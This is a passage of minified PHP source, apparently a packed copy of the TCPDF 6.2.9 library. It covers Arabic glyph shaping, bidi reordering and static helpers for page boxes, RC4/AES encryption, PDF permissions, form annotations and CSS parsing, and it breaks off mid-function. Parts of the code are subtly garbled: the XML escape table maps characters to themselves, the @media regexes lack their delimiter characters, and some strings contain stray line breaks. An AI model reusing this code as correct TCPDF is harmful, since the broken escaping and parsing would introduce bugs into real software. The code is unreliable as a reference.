($chardata[$j][\'type\']==\'WS\'))){$chardata[$i][\'level\']=$pel;break;}elseif($chardata[$j][\'type\']!=\'WS\'){break;}++$j;}}}if($arabic){$endedletter=array(1569,1570,1571,1572,1573,1575,1577,1583,1584,1585,1586,1608,1688);$alfletter=array(1570,1571,1573,1575);$chardata2=$chardata;$laaletter=false;$charAL=array();$x=0;for($i=0;$i<$numchars;++$i){if((TCPDF_FONT_DATA::$uni_type[$chardata[$i][\'char\']]==\'AL\') OR ($chardata[$i][\'char\']==32) OR ($chardata[$i][\'char\']==8204)){$charAL[$x]=$chardata[$i];$charAL[$x][\'i\']=$i;$chardata[$i][\'x\']=$x;++$x;}}$numAL=$x;for($i=0;$i<$numchars;++$i){$thischar=$chardata[$i];if($i>0){$prevchar=$chardata[($i-1)];}else {$prevchar=false;}if(($i+1)<$numchars){$nextchar=$chardata[($i+1)];}else {$nextchar=false;}if(TCPDF_FONT_DATA::$uni_type[$thischar[\'char\']]==\'AL\'){$x=$thischar[\'x\'];if($x>0){$prevchar=$charAL[($x-1)];}else {$prevchar=false;}if(($x+1)<$numAL){$nextchar=$charAL[($x+1)];}else {$nextchar=false;}if(($prevchar!==false) AND ($prevchar[\'char\']==1604) AND (in_array($thischar[\'char\'],$alfletter))){$arabicarr=TCPDF_FONT_DATA::$uni_laa_array;$laaletter=true;if($x>1){$prevchar=$charAL[($x-2)];}else {$prevchar=false;}}else {$arabicarr=TCPDF_FONT_DATA::$uni_arabicsubst;$laaletter=false;}if(($prevchar!==false) AND ($nextchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$prevchar[\'char\']]==\'AL\') OR (TCPDF_FONT_DATA::$uni_type[$prevchar[\'char\']]==\'NSM\')) AND ((TCPDF_FONT_DATA::$uni_type[$nextchar[\'char\']]==\'AL\') OR (TCPDF_FONT_DATA::$uni_type[$nextchar[\'char\']]==\'NSM\')) AND ($prevchar[\'type\']==$thischar[\'type\']) AND ($nextchar[\'type\']==$thischar[\'type\']) AND ($nextchar[\'char\']!=1567)){if(in_array($prevchar[\'char\'],$endedletter)){if(isset($arabicarr[$thischar[\'char\']][2])){$chardata2[$i][\'char\']=$arabicarr[$thischar[\'char\']][2];}}else {if(isset($arabicarr[$thischar[\'char\']][3])){$chardata2[$i][\'char\']=$arabicarr[$thischar[\'char\']][3];}}}elseif(($nextchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$nextchar[\'char\']]==\'AL\') OR (TCPDF_FONT_DATA::$uni_type[$nextchar[\'char\']]==\'NSM\')) AND ($nextchar[\'type\']==$thischar[\'type\']) AND ($nextchar[\'char\']!=1567)){if(isset($arabicarr[$chardata[$i][\'char\']][2])){$chardata2[$i][\'char\']=$arabicarr[$thischar[\'char\']][2];}}elseif((($prevchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$prevchar[\'char\']]==\'AL\') OR (TCPDF_FONT_DATA::$uni_type[$prevchar[\'char\']]==\'NSM\')) AND ($prevchar[\'type\']==$thischar[\'type\'])) OR (($nextchar!==false) AND ($nextchar[\'char\']==1567))){if(($i>1) AND ($thischar[\'char\']==1607) AND ($chardata[$i-1][\'char\']==1604) AND ($chardata[$i-2][\'char\']==1604)){$chardata2[$i-2][\'char\']=false;$chardata2[$i-1][\'char\']=false;$chardata2[$i][\'char\']=65010;}else {if(($prevchar!==false) AND in_array($prevchar[\'char\'],$endedletter)){if(isset($arabicarr[$thischar[\'char\']][0])){$chardata2[$i][\'char\']=$arabicarr[$thischar[\'char\']][0];}}else {if(isset($arabicarr[$thischar[\'char\']][1])){$chardata2[$i][\'char\']=$arabicarr[$thischar[\'char\']][1];}}}}elseif(isset($arabicarr[$thischar[\'char\']][0])){$chardata2[$i][\'char\']=$arabicarr[$thischar[\'char\']][0];}if($laaletter){$chardata2[($charAL[($x-1)][\'i\'])][\'char\']=false;}}}for($i=0;$i<($numchars-1);++$i){if(($chardata2[$i][\'char\']==1617) AND (isset(TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1][\'char\'])]))){if(isset($currentfont[\'cw\'][(TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1][\'char\'])])])){$chardata2[$i][\'char\']=false;$chardata2[$i+1][\'char\']=TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1][\'char\'])];}}}foreach($chardata2 as $key=>$value){if($value[\'char\']===false){unset($chardata2[$key]);}}$chardata=array_values($chardata2);$numchars=count($chardata);unset($chardata2);unset($arabicarr);unset($laaletter);unset($charAL);}for($j=$maxlevel;$j>0;$j--){$ordarray=Array();$revarr=Array();$onlevel=false;for($i=0;$i<$numchars;++$i){if($chardata[$i][\'level\']>=$j){$onlevel=true;if(isset(TCPDF_FONT_DATA::$uni_mirror[$chardata[$i][\'char\']])){$chardata[$i][\'char\']=TCPDF_FONT_DATA::$uni_mirror[$chardata[$i][\'char\']];}$revarr[]=$chardata[$i];}else {if($onlevel){$revarr=array_reverse($revarr);$ordarray=array_merge($ordarray,$revarr);$revarr=Array();$onlevel=false;}$ordarray[]=$chardata[$i];}}if($onlevel){$revarr=array_reverse($revarr);$ordarray=array_merge($ordarray,$revarr);}$chardata=$ordarray;}$ordarray=array();foreach($chardata as $cd){$ordarray[]=$cd[\'char\'];$currentfont[\'subsetchars\'][$cd[\'char\']]=true;}return $ordarray;} public static function getFontRefSize($size,$refsize=12){switch($size){case \'xx-small\':{$size=($refsize-4);break;}case \'x-small\':{$size=($refsize-3);break;}case \'small\':{$size=($refsize-2);break;}case \'medium\':{$size=$refsize;break;}case \'large\':{$size=($refsize+2);break;}case \'x-large\':{$size=($refsize+4);break;}case \'xx-large\':{$size=($refsize+6);break;}case \'smaller\':{$size=($refsize-3);break;}case \'larger\':{$size=($refsize+3);break;}}return $size;}}class TCPDF_STATIC{ private static $tcpdf_version=\'6.2.9\'; public static $alias_tot_pages=\'{:ptp:}\'; public static $alias_num_page=\'{:pnp:}\'; public static $alias_group_tot_pages=\'{:ptg:}\'; public static $alias_group_num_page=\'{:png:}\'; public static $alias_right_shift=\'{rsc:\'; public static $enc_padding="(N^NuAdNV..h>/dSiz"; public static $byterange_string=\'/ByteRange[0 ********** ********** **********]\'; public static $pageboxes=array(\'MediaBox\',\'CropBox\',\'BleedBox\',\'TrimBox\',\'ArtBox\'); public static $page_formats=array(\'A4\'=>array(595.276,841.890),); public static function getTCPDFVersion(){return self::$tcpdf_version;} public static function getTCPDFProducer(){return "TCPDF ".self::getTCPDFVersion()." (http://www.tcpdf.org)";} public static function set_mqr($mqr){if(!defined(\'PHP_VERSION_ID\')){$version=PHP_VERSION;define(\'PHP_VERSION_ID\',(($version[0]*10000)+($version[2]*100)+$version[4]));}if(PHP_VERSION_ID<50300){@set_magic_quotes_runtime($mqr);}} public static function get_mqr(){if(!defined(\'PHP_VERSION_ID\')){$version=PHP_VERSION;define(\'PHP_VERSION_ID\',(($version[0]*10000)+($version[2]*100)+$version[4]));}if(PHP_VERSION_ID<50300){return @get_magic_quotes_runtime();}return 0;} public static function getPageSizeFromFormat($format){if(isset(self::$page_formats[$format])){return self::$page_formats[$format];}return self::$page_formats[\'A4\'];} public static function setPageBoxes($page,$type,$llx,$lly,$urx,$ury,$points=false,$k,$pagedim=array()){if(!isset($pagedim[$page])){$pagedim[$page]=array();}if(!in_array($type,self::$pageboxes)){return;}if($points){$k=1;}$pagedim[$page][$type][\'llx\']=($llx*$k);$pagedim[$page][$type][\'lly\']=($lly*$k);$pagedim[$page][$type][\'urx\']=($urx*$k);$pagedim[$page][$type][\'ury\']=($ury*$k);return $pagedim;} public static function swapPageBoxCoordinates($page,$pagedim){foreach(self::$pageboxes as $type){if(isset($pagedim[$page][$type])){$tmp=$pagedim[$page][$type][\'llx\'];$pagedim[$page][$type][\'llx\']=$pagedim[$page][$type][\'lly\'];$pagedim[$page][$type][\'lly\']=$tmp;$tmp=$pagedim[$page][$type][\'urx\'];$pagedim[$page][$type][\'urx\']=$pagedim[$page][$type][\'ury\'];$pagedim[$page][$type][\'ury\']=$tmp;}}return $pagedim;} public static function getPageLayoutMode($layout=\'SinglePage\'){switch($layout){case \'default\':case \'single\':case \'SinglePage\':{$layout_mode=\'SinglePage\';break;}case \'continuous\':case \'OneColumn\':{$layout_mode=\'OneColumn\';break;}case \'two\':case \'TwoColumnLeft\':{$layout_mode=\'TwoColumnLeft\';break;}case \'TwoColumnRight\':{$layout_mode=\'TwoColumnRight\';break;}case \'TwoPageLeft\':{$layout_mode=\'TwoPageLeft\';break;}case \'TwoPageRight\':{$layout_mode=\'TwoPageRight\';break;}default:{$layout_mode=\'SinglePage\';}}return $layout_mode;} public static function getPageMode($mode=\'UseNone\'){switch($mode){case \'UseNone\':{$page_mode=\'UseNone\';break;}case \'UseOutlines\':{$page_mode=\'UseOutlines\';break;}case \'UseThumbs\':{$page_mode=\'UseThumbs\';break;}case \'FullScreen\':{$page_mode=\'FullScreen\';break;}case \'UseOC\':{$page_mode=\'UseOC\';break;}case \'\':{$page_mode=\'UseAttachments\';break;}default:{$page_mode=\'UseNone\';}}return $page_mode;} public static function isValidURL($url){$headers=@get_headers($url);return (strpos($headers[0],\'200\')!==false);} public static function removeSHY($txt=\'\',$unicode=true){$txt=preg_replace(\'/([\xc2]{1}[\xad]{1})/\',\'\',$txt);if(!$unicode){$txt=preg_replace(\'/([\xad]{1})/\',\'\',$txt);}return $txt;} public static function getBorderMode($brd,$position=\'start\',$opencell=true){if((!$opencell) OR empty($brd)){return $brd;}if($brd==1){$brd=\'LTRB\';}if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=array(\'cap\'=>\'square\',\'join\'=>\'miter\');}$brd=$newbrd;}foreach($brd as $border=>$style){switch($position){case \'start\':{if(strpos($border,\'B\')!==false){$newkey=str_replace(\'B\',\'\',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}case \'middle\':{if(strpos($border,\'B\')!==false){$newkey=str_replace(\'B\',\'\',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);$border=$newkey;}if(strpos($border,\'T\')!==false){$newkey=str_replace(\'T\',\'\',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}case \'end\':{if(strpos($border,\'T\')!==false){$newkey=str_replace(\'T\',\'\',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}}}return $brd;} public static function empty_string($str){return (is_null($str) OR (is_string($str) AND (strlen($str)==0)));} public static function getObjFilename($type=\'tmp\',$file_id=\'\'){return tempnam(K_PATH_CACHE,\'__tcpdf_\'.$file_id.\'_\'.$type.\'_\'.md5(TCPDF_STATIC::getRandomSeed()).\'_\');} public static function _escape($s){return strtr($s,array(\')\'=>\'\)\',\'(\'=>\'\(\',\'\\'=>\'\\\',chr(13)=>\'
\'));} public static function _escapeXML($str){$replaceTable=array(""=>\'\',\'&\'=>\'&\',\'<\'=>\'<\',\'>\'=>\'>\');$str=strtr($str,$replaceTable);return $str;} public static function objclone($object){if(($object instanceof Imagick) AND (version_compare(phpversion(\'imagick\'),\'3.0.1\')!==1)){return @$object->clone();}return @clone($object);} public static function sendOutputData($data,$length){if(!isset($_SERVER[\'HTTP_ACCEPT_ENCODING\']) OR empty($_SERVER[\'HTTP_ACCEPT_ENCODING\'])){header(\'Content-Length: \'.$length);}echo $data;} public static function replacePageNumAliases($page,$replace,$diff=0){foreach($replace as $rep){foreach($rep[3] as $a){if(strpos($page,$a)!==false){$page=str_replace($a,$rep[0],$page);$diff+=($rep[2]-$rep[1]);}}}return array($page,$diff);} public static function getTimestamp($date){if(($date[0]==\'D\') AND ($date[1]==\':\')){$date=substr($date,2);}return strtotime($date);} public static function getFormattedDate($time){return substr_replace(date(\'YmdHisO\',intval($time)),\'\'\',(0-2),0).\'\'\';} public static function _getULONG($str,$offset){$v=unpack(\'Ni\',substr($str,$offset,4));return $v[\'i\'];} public static function _getUSHORT($str,$offset){$v=unpack(\'ni\',substr($str,$offset,2));return $v[\'i\'];} public static function _getSHORT($str,$offset){$v=unpack(\'si\',substr($str,$offset,2));return $v[\'i\'];} public static function _getFWORD($str,$offset){$v=self::_getUSHORT($str,$offset);if($v>0x7fff){$v-=0x10000;}return $v;} public static function _getUFWORD($str,$offset){$v=self::_getUSHORT($str,$offset);return $v;} public static function _getFIXED($str,$offset){$m=self::_getFWORD($str,$offset);$f=self::_getUSHORT($str,($offset+2));$v=floatval(\'\'.$m.\'.\'.$f.\'\');return $v;} public static function _getBYTE($str,$offset){$v=unpack(\'Ci\',substr($str,$offset,1));return $v[\'i\'];} public static function rfread($handle,$length){$data=fread($handle,$length);if($data===false){return false;}$rest=($length-strlen($data));if($rest>0){$data.=self::rfread($handle,$rest);}return $data;} public static function _freadint($f){$a=unpack(\'Ni\',fread($f,4));return $a[\'i\'];} public static function getRandomSeed($seed=\'\'){$rnd=uniqid(rand().microtime(true),true);if(function_exists(\'posix_getpid\')){$rnd.=posix_getpid();}if(function_exists(\'openssl_random_pseudo_bytes\') AND (strtoupper(substr(PHP_OS,0,3))!==\'WIN\')){$rnd.=openssl_random_pseudo_bytes(512);}else {for($i=0;$i<23;++$i){$rnd.=uniqid(\'\',true);}}return $rnd.$seed.__FILE__.serialize($_SERVER).microtime(true);} public static function _md5_16($str){return pack(\'H*\',md5($str));} public static function _AES($key,$text){$padding=16-(strlen($text)%16);$text.=str_repeat(chr($padding),$padding);$iv=mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC),MCRYPT_RAND);$text=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,$text,MCRYPT_MODE_CBC,$iv);$text=$iv.$text;return $text;} public static function _RC4($key,$text,&$last_enc_key,&$last_enc_key_c){if(function_exists(\'mcrypt_encrypt\') AND ($out=@mcrypt_encrypt(MCRYPT_ARCFOUR,$key,$text,MCRYPT_MODE_STREAM,\'\'))){return $out;}if($last_enc_key!=$key){$k=str_repeat($key,((256/strlen($key))+1));$rc4=range(0,255);$j=0;for($i=0;$i<256;++$i){$t=$rc4[$i];$j=($j+$t+ord($k[$i]))%256;$rc4[$i]=$rc4[$j];$rc4[$j]=$t;}$last_enc_key=$key;$last_enc_key_c=$rc4;}else {$rc4=$last_enc_key_c;}$len=strlen($text);$a=0;$b=0;$out=\'\';for($i=0;$i<$len;++$i){$a=($a+1)%256;$t=$rc4[$a];$b=($b+$t)%256;$rc4[$a]=$rc4[$b];$rc4[$b]=$t;$k=$rc4[($rc4[$a]+$rc4[$b])%256];$out.=chr(ord($text[$i])^$k);}return $out;} public static function getUserPermissionCode($permissions,$mode=0){$options=array(\'owner\'=>2,\'print\'=>4,\'modify\'=>8,\'copy\'=>16,\'annot-forms\'=>32,\'fill-forms\'=>256,\'extract\'=>512,\'assemble\'=>1024,\'print-high\'=>2048);$protection=2147422012;foreach($permissions as $permission){if(isset($options[$permission])){if(($mode>0) OR ($options[$permission]<=32)){if($options[$permission]==2){$protection+=$options[$permission];}else {$protection-=$options[$permission];}}}}return $protection;} public static function convertHexStringToString($bs){$string=\'\';$bslength=strlen($bs);if(($bslength%2)!=0){$bs.=\'0\';++$bslength;}for($i=0;$i<$bslength;$i+=2){$string.=chr(hexdec($bs[$i].$bs[($i+1)]));}return $string;} public static function convertStringToHexString($s){$bs=\'\';$chars=preg_split(\'//\',$s,-1,PREG_SPLIT_NO_EMPTY);foreach($chars as $c){$bs.=sprintf(\'%02s\',dechex(ord($c)));}return $bs;} public static function getEncPermissionsString($protection){$binprot=sprintf(\'%032b\',$protection);$str=chr(bindec(substr($binprot,24,8)));$str.=chr(bindec(substr($binprot,16,8)));$str.=chr(bindec(substr($binprot,8,8)));$str.=chr(bindec(substr($binprot,0,8)));return $str;} public static function encodeNameObject($name){$escname=\'\';$length=strlen($name);for($i=0;$i<$length;++$i){$chr=$name[$i];if(preg_match(\'/[0-9a-zA-Z#_=-]/\',$chr)==1){$escname.=$chr;}else {$escname.=sprintf(\'#%02X\',ord($chr));}}return $escname;} public static function getAnnotOptFromJSProp($prop,&$spot_colors,$rtl=false){if(isset($prop[\'aopt\']) AND is_array($prop[\'aopt\'])){return $prop[\'aopt\'];}$opt=array();if(isset($prop[\'alignment\'])){switch($prop[\'alignment\']){case \'left\':{$opt[\'q\']=0;break;}case \'center\':{$opt[\'q\']=1;break;}case \'right\':{$opt[\'q\']=2;break;}default:{$opt[\'q\']=($rtl)?2:0;break;}}}if(isset($prop[\'lineWidth\'])){$linewidth=intval($prop[\'lineWidth\']);}else {$linewidth=1;}if(isset($prop[\'borderStyle\'])){switch($prop[\'borderStyle\']){case \'border.d\':case \'dashed\':{$opt[\'border\']=array(0,0,$linewidth,array(3,2));$opt[\'bs\']=array(\'w\'=>$linewidth,\'s\'=>\'D\',\'d\'=>array(3,2));break;}case \'border.b\':case \'beveled\':{$opt[\'border\']=array(0,0,$linewidth);$opt[\'bs\']=array(\'w\'=>$linewidth,\'s\'=>\'B\');break;}case \'border.i\':case \'inset\':{$opt[\'border\']=array(0,0,$linewidth);$opt[\'bs\']=array(\'w\'=>$linewidth,\'s\'=>\'I\');break;}case \'border.u\':case \'underline\':{$opt[\'border\']=array(0,0,$linewidth);$opt[\'bs\']=array(\'w\'=>$linewidth,\'s\'=>\'U\');break;}case \'border.s\':case \'solid\':{$opt[\'border\']=array(0,0,$linewidth);$opt[\'bs\']=array(\'w\'=>$linewidth,\'s\'=>\'S\');break;}default:{break;}}}if(isset($prop[\'border\']) AND is_array($prop[\'border\'])){$opt[\'border\']=$prop[\'border\'];}if(!isset($opt[\'mk\'])){$opt[\'mk\']=array();}if(!isset($opt[\'mk\'][\'if\'])){$opt[\'mk\'][\'if\']=array();}$opt[\'mk\'][\'if\'][\'a\']=array(0.5,0.5);if(isset($prop[\'buttonAlignX\'])){$opt[\'mk\'][\'if\'][\'a\'][0]=$prop[\'buttonAlignX\'];}if(isset($prop[\'buttonAlignY\'])){$opt[\'mk\'][\'if\'][\'a\'][1]=$prop[\'buttonAlignY\'];}if(isset($prop[\'buttonFitBounds\']) AND ($prop[\'buttonFitBounds\']==\'true\')){$opt[\'mk\'][\'if\'][\'fb\']=true;}if(isset($prop[\'buttonScaleHow\'])){switch($prop[\'buttonScaleHow\']){case \'scaleHow.proportional\':{$opt[\'mk\'][\'if\'][\'s\']=\'P\';break;}case \'scaleHow.anamorphic\':{$opt[\'mk\'][\'if\'][\'s\']=\'A\';break;}}}if(isset($prop[\'buttonScaleWhen\'])){switch($prop[\'buttonScaleWhen\']){case \'scaleWhen.always\':{$opt[\'mk\'][\'if\'][\'sw\']=\'A\';break;}case \'scaleWhen.never\':{$opt[\'mk\'][\'if\'][\'sw\']=\'N\';break;}case \'scaleWhen.tooBig\':{$opt[\'mk\'][\'if\'][\'sw\']=\'B\';break;}case \'scaleWhen.tooSmall\':{$opt[\'mk\'][\'if\'][\'sw\']=\'S\';break;}}}if(isset($prop[\'buttonPosition\'])){switch($prop[\'buttonPosition\']){case 0:case \'position.textOnly\':{$opt[\'mk\'][\'tp\']=0;break;}case 1:case \'position.iconOnly\':{$opt[\'mk\'][\'tp\']=1;break;}case 2:case \'position.iconTextV\':{$opt[\'mk\'][\'tp\']=2;break;}case 3:case \'position.textIconV\':{$opt[\'mk\'][\'tp\']=3;break;}case 4:case \'position.iconTextH\':{$opt[\'mk\'][\'tp\']=4;break;}case 5:case \'position.textIconH\':{$opt[\'mk\'][\'tp\']=5;break;}case 6:case \'position.overlay\':{$opt[\'mk\'][\'tp\']=6;break;}}}if(isset($prop[\'fillColor\'])){if(is_array($prop[\'fillColor\'])){$opt[\'mk\'][\'bg\']=$prop[\'fillColor\'];}else {$opt[\'mk\'][\'bg\']=TCPDF_COLORS::convertHTMLColorToDec($prop[\'fillColor\'],$spot_colors);}}if(isset($prop[\'strokeColor\'])){if(is_array($prop[\'strokeColor\'])){$opt[\'mk\'][\'bc\']=$prop[\'strokeColor\'];}else {$opt[\'mk\'][\'bc\']=TCPDF_COLORS::convertHTMLColorToDec($prop[\'strokeColor\'],$spot_colors);}}if(isset($prop[\'rotation\'])){$opt[\'mk\'][\'r\']=$prop[\'rotation\'];}if(isset($prop[\'charLimit\'])){$opt[\'maxlen\']=intval($prop[\'charLimit\']);}if(!isset($ff)){$ff=0;}if(isset($prop[\'readonly\']) AND ($prop[\'readonly\']==\'true\')){$ff+=1<<0;}if(isset($prop[\'required\']) AND ($prop[\'required\']==\'true\')){$ff+=1<<1;}if(isset($prop[\'multiline\']) AND ($prop[\'multiline\']==\'true\')){$ff+=1<<12;}if(isset($prop[\'password\']) AND ($prop[\'password\']==\'true\')){$ff+=1<<13;}if(isset($prop[\'NoToggleToOff\']) AND ($prop[\'NoToggleToOff\']==\'true\')){$ff+=1<<14;}if(isset($prop[\'Radio\']) AND ($prop[\'Radio\']==\'true\')){$ff+=1<<15;}if(isset($prop[\'Pushbutton\']) AND ($prop[\'Pushbutton\']==\'true\')){$ff+=1<<16;}if(isset($prop[\'Combo\']) AND ($prop[\'Combo\']==\'true\')){$ff+=1<<17;}if(isset($prop[\'editable\']) AND ($prop[\'editable\']==\'true\')){$ff+=1<<18;}if(isset($prop[\'Sort\']) AND ($prop[\'Sort\']==\'true\')){$ff+=1<<19;}if(isset($prop[\'fileSelect\']) AND ($prop[\'fileSelect\']==\'true\')){$ff+=1<<20;}if(isset($prop[\'multipleSelection\']) AND ($prop[\'multipleSelection\']==\'true\')){$ff+=1<<21;}if(isset($prop[\'doNotSpellCheck\']) AND ($prop[\'doNotSpellCheck\']==\'true\')){$ff+=1<<22;}if(isset($prop[\'doNotScroll\']) AND ($prop[\'doNotScroll\']==\'true\')){$ff+=1<<23;}if(isset($prop[\'comb\']) AND ($prop[\'comb\']==\'true\')){$ff+=1<<24;}if(isset($prop[\'radiosInUnison\']) AND ($prop[\'radiosInUnison\']==\'true\')){$ff+=1<<25;}if(isset($prop[\'richText\']) AND ($prop[\'richText\']==\'true\')){$ff+=1<<25;}if(isset($prop[\'commitOnSelChange\']) AND ($prop[\'commitOnSelChange\']==\'true\')){$ff+=1<<26;}$opt[\'ff\']=$ff;if(isset($prop[\'defaultValue\'])){$opt[\'dv\']=$prop[\'defaultValue\'];}$f=4;if(isset($prop[\'readonly\']) AND ($prop[\'readonly\']==\'true\')){$f+=1<<6;}if(isset($prop[\'display\'])){if($prop[\'display\']==\'display.visible\'){}elseif($prop[\'display\']==\'display.hidden\'){$f+=1<<1;}elseif($prop[\'display\']==\'display.noPrint\'){$f-=1<<2;}elseif($prop[\'display\']==\'display.noView\'){$f+=1<<5;}}$opt[\'f\']=$f;if(isset($prop[\'currentValueIndices\']) AND is_array($prop[\'currentValueIndices\'])){$opt[\'i\']=$prop[\'currentValueIndices\'];}if(isset($prop[\'value\'])){if(is_array($prop[\'value\'])){$opt[\'opt\']=array();foreach($prop[\'value\'] AS $key=>$optval){if(isset($prop[\'exportValues\'][$key])){$opt[\'opt\'][$key]=array($prop[\'exportValues\'][$key],$prop[\'value\'][$key]);}else {$opt[\'opt\'][$key]=$prop[\'value\'][$key];}}}else {$opt[\'v\']=$prop[\'value\'];}}if(isset($prop[\'richValue\'])){$opt[\'rv\']=$prop[\'richValue\'];}if(isset($prop[\'submitName\'])){$opt[\'tm\']=$prop[\'submitName\'];}if(isset($prop[\'name\'])){$opt[\'t\']=$prop[\'name\'];}if(isset($prop[\'userName\'])){$opt[\'tu\']=$prop[\'userName\'];}if(isset($prop[\'highlight\'])){switch($prop[\'highlight\']){case \'none\':case \'highlight.n\':{$opt[\'h\']=\'N\';break;}case \'invert\':case \'highlight.i\':{$opt[\'h\']=\'i\';break;}case \'push\':case \'highlight.p\':{$opt[\'h\']=\'P\';break;}case \'outline\':case \'highlight.o\':{$opt[\'h\']=\'O\';break;}}}return $opt;} public static function formatPageNumber($num){return number_format((float)$num,0,\'\',\'.\');} public static function formatTOCPageNumber($num){return number_format((float)$num,0,\'\',\'.\');} public static function extractCSSproperties($cssdata){if(empty($cssdata)){return array();}$cssdata=preg_replace(\'/\/\*[^\*]*\*\//\',\'\',$cssdata);$cssdata=preg_replace(\'/[\s]+/\',\' \',$cssdata);$cssdata=preg_replace(\'/[\s]*([;:\{\}]{1})[\s]*/\',\'\1\',$cssdata);$cssdata=preg_replace(\'/([^\}\{]+)\{\}/\',\'\',$cssdata);$cssdata=preg_replace(\'/@media[\s]+([^\{]*)\{/i\',\'@media \1\',$cssdata);$cssdata=preg_replace(\'/\}\}/si\',\'}\',$cssdata);$cssdata=trim($cssdata);$cssblocks=array();$matches=array();if(preg_match_all(\'/@media[\s]+([^\]*)([^]*)/i\',$cssdata,$matches)>0){foreach($matches[1] as $key=>$type){$cssblocks[$type]=$matches[2][$key];}$cssdata=preg_replace(\'/@media[\s]+([^\]*)([^]*)/i\',\'\',$cssdata);}if(isset($cssblocks[\'all\']) AND !empty($cssblocks[\'all\'])){$cssdata.=$cssblocks[\'all\'];}if(isset($cssblocks[\'print\']) AND !empty($cssblocks[\'print\'])){$cssdata.=$cssblocks[\'print\'];}$cssblocks=array();$matches=array();if(substr($cssdata,-1)==\'}\'){$cssdata=substr($cssdata,0,-1);}$matches=explode(\'}\',$cssdata);foreach($matches as $key=>$block){$cssblocks[$key]=explode(\'{\',$block);if(!isset($cssblocks[$key][1])){unset($cssblocks[$key]);}}foreach($cssblocks as $key=>$block){if(strpos($block[0],\',\')>0){$selectors=explode(\',\',$block[0]);foreach($selectors as $sel){$cssblocks[]=array(0=>trim($sel),1=>$block[1]);}unset($cssblocks[$key]);}}$cssdata=array();foreach($cssblocks as $block){$selector=$block[0];$matches=array();$a=0;$b=intval(preg_match_all(\'/[\#]/\',$selector,$matches));$c=intval(preg_match_all(\'/[\[\.]/\',$selector,$matches));$c+=intval(preg_match_all(\'/[\:]link|visited|hover|active|focus|target|lang|enabled|disabled|checked|indeterminate|root|nth|first|last|only|empty|contains|not/i\',$selector,$matches));$d=intval(preg_match_all(\'/[\>\+\~\s]{1}[a-zA-Z0-9]+/\',\' \'.$selector,$matches));$d+=intval(preg_match_all(\'/[\:][\:]/\',$selector,$matches));$specificity=$a.$b.$c.$d;$cssdata[$specificity.\' \'.$selector]=$block[1];}ksort($cssdata,SORT_STRING);return $cssdata;} public static function fixHTMLCode($html,$default_css=\'\',$tagvs=\'\',$tidy_options=\'\',&$tagvspaces){if($tidy_options===\'\'){$tidy_options=array(\'clean\'=>1,\'drop-empty-paras\'=>0,\'drop-proprietary-attributes\'=>1,\'fix-backslash\'=>1,\'hide-comments\'=>1,\'join-styles\'=>1,\'lower-literals\'=>1,\'merge-divs\'=>1,\'merge-spans\'=>1,\'output-xhtml\'=>1,\'word-2000\'=>1,\'wrap\'=>0,\'output-bom\'=>0,);}$tidy=tidy_parse_string($html,$tidy_options);$tidy->cleanRepair();$tidy_head=tidy_get_head($tidy);$css=$tidy_head->value;$css=preg_replace(\'/<style([^>]+)>/ims\',\'<style>\',$css);$css=preg_replace(\'/<\/style>(.*)<style>/ims\',"
",$css);$css=str_replace(\'/*<![CDATA[*/\',\'\',$css);$css=str_replace(\'/*]]>*/\',\'\',$css);preg_match(\'/<style>(.*)<\/style>/ims\',$css,$matches);if(isset($matches[1])){$css=strtolower($matches[1]);}else {$css=\'\';}$css=\'<style>\'.$default_css.$css.\'</style>\';$tidy_body=tidy_get_body($tidy);$html=$tidy_body->value;$html=str_replace(\'<br>\',\'<br />\',$html);$html=preg_replace(\'/<div([^\>]*)><\/div>/\',\'\',$html);$html=preg_replace(\'/<p([^\>]*)><\/p>/\',\'\',$html);if($tagvs!==\'\'){$tagvspaces=$tagvs;}return $css.$html;} public static function isValidCSSSelectorForTag($dom,$key,$selector){$valid=false;$tag=$dom[$key][\'value\'];$class=array();if(isset($dom[$key][\'attribute\'][\'class\']) AND !empty($dom[$key][\'attribute\'][\'class\'])){$class=explode(\' \',strtolower($dom[$key][\'attribute\'][\'class\']));}$id=\'\';if(isset($dom[$key][\'attribute\'][\'id\']) AND !empty($dom[$key][\'attribute\'][\'id\'])){$id=strtolower($dom[$key][\'attribute\'][\'id\']);}$selector=preg_replace(\'/([\>\+\~\s]{1})([\.]{1})([^\>\+\~\s]*)/si\',\'\1*.\3\',$selector);$matches=array();if(preg_match_all(\'/([\>\+\~\s]{1})([a-zA-Z0-9\*]+)([^\>\+\~\s]*)/si\',$selector,$matches,PREG_PATTERN_ORDER|PREG_OFFSET_CAPTURE)>0){$parentop=array_pop($matches[1]);$operator=$parentop[0];$offset=$parentop[1];$lasttag=array_pop($matches[2]);$lasttag=strtolower(trim($lasttag[0]));if(($lasttag==\'*\') OR ($lasttag==$tag)){$attrib=array_pop($matches[3]);$attrib=strtolower(trim($attrib[0]));if(!empty($attrib)){switch($attrib[0]){case \'.\':{if(in_array(substr($attrib,1),$class)){$valid=true;}break;}case \'#\':{if(substr($attrib,1)==$id){$valid=true;}break;}case \'[\':{$attrmatch=array();if(preg_match(\'/\[([a-zA-Z0-9]*)[\s]*([\~\^\$\*\|\=]*)[\s]*["]?([^"\]]*)["]?\]/i\',$attrib,$attrmatch)>0){$att=strtolower($attrmatch[1]);$val=$attrmatch[3];if(isset($dom[$key][\'attribute\'][$att])){switch($attrmatch[2]){case \'=\':{if($dom[$key][\'attribute\'][$att]==$val){$valid=true;}break;}case \'~=\':{if(in_array($val,explode(\' \',$dom[$key][\'attribute\'][$att]))){$valid=true;}break;}case \'^=\':{if($val==substr($dom[$key][\'attribute\'][$att],0,strlen($val))){$valid=true;}break;}case \'$=\':{if($val==substr($dom[$key][\'attribute\'][$att],-strlen($val))){$valid=true;}break;}case 